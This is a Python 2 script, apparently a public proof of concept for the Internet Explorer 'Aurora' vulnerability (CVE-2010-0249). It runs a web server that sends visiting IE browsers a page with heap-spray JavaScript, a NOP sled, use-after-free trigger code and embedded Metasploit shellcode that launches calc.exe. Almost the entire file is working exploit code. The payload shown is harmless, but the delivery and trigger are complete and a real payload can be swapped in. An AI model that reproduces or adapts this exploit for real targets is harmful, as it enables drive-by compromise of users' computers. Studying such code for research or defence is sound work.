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CVE-2010-0249.py
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#
# Author : Ahmed Obied ([email protected])
#
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
# The exploit's payload spawns the calculator.
#
# Usage : python ie_aurora.py [port number]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
<html>
<head>
<script>
var obj, event_obj;
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize()
{
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2()
{
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check()
{
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
return exploit
def get_image(self):
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
content += '\x01\x00\x3b'
return content
def log_request(self, *args, **kwargs):
pass
def do_GET(self):
try:
if self.path == '/':
print
print '[-] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
elif self.path == '/aurora.gif':
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
self.wfile.write(self.get_image())
except:
print '[*] Error : an error has occured while serving the HTTP request'
print '[-] Exiting ...'
sys.exit(-1)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
try:
serv.serve_forever()
except:
print '[-] Exiting ...'
except socket.error:
print '[*] Error : a socket error has occurred'
sys.exit(-1)
except ValueError:
print '[*] Error : an invalid port number was given'
sys.exit(-1)
if __name__ == '__main__':
main()